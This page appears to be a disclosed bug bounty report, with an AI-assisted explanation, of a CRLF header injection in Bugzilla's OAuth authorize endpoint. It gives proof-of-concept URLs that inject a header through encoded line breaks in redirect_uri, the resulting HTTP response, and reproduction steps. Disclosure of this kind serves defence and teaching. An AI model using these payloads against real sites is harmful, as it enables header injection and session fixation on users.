https://bugzilla.mozilla.org/oauth/authorize - CRLF Header injection via "redirect_uri" parameter
The OAuth authorize endpoint reflected the redirect_uri parameter into the Location header without sanitising carriage return and line feed characters. An attacker could inject arbitrary HTTP headers into the redirect response, such as Set-Cookie, without needing authorisation.
- Fixed in 14 days
- Paid in 41 days
- Disclosed after 14 days
CRLF / HTTP Header Injection.
Allows you to set any headers/etc (Set-Cookie...)
Page: https://bugzilla.mozilla.org/oauth/authorize
Parameter: redirect_uri
PoC - does not require authorization:
1. https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code
1.1. or (with true redirect): https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=\\name.tld%0d%0axxx:something&response_type=code
2. HTTP response:
HTTP/2 302
server: nginx
date: Tue, 21 Feb 2023 12:04:22 GMT
content-length: 0
content-security-policy: default-src 'self'; worker-src 'none'; connect-src 'self' https://product-details.mozilla.org https://www.google-analytics.com https://treeherder.mozilla.org/api/failurecount/ https://crash-stats.mozilla.org/api/SuperSearch/; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: blob: https://secure.gravatar.com; object-src 'none'; script-src 'self' 'nonce-kYhs2ysp5D5M1gt2i2uKTFaJyxLN8Qm7O112v7Vt6J4dWGrf' 'unsafe-inline' https://www.google-analytics.com; style-src 'self' 'unsafe-inline'; frame-src https://crash-stop-addon.herokuapp.com; frame-ancestors 'self'; form-action 'self' https://www.google.com/search https://github.com/login/oauth/authorize https://github.com/login https://phabricator.services.mozilla.com/ https://people.mozilla.org
location:
xxx: something?error=invalid_scope
referrer-policy: same-origin
strict-transport-security: max-age=31536000; includeSubDomains
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application placed the redirect_uri value directly into the Location response header without stripping CR/LF characters.
Impact
An attacker could inject arbitrary response headers, potentially including Set-Cookie, which may lead to session fixation or other header-based attacks; the report does not demonstrate cookie theft or account takeover.
What the attacker needed
No authentication required
How it was found
- Send a request to the OAuth authorize endpoint with an empty client_id and a redirect_uri containing encoded CRLF characters followed by a header name and value.
- Observe the HTTP 302 response where the injected header appears in the response headers.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web server sends a redirect, it puts the destination in a special header called Location. If the server copies user input into that header without cleaning it, an attacker can sneak in extra line breaks and add their own headers. Here the redirect_uri parameter was copied unsafely, letting an attacker add headers like Set-Cookie to the response.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.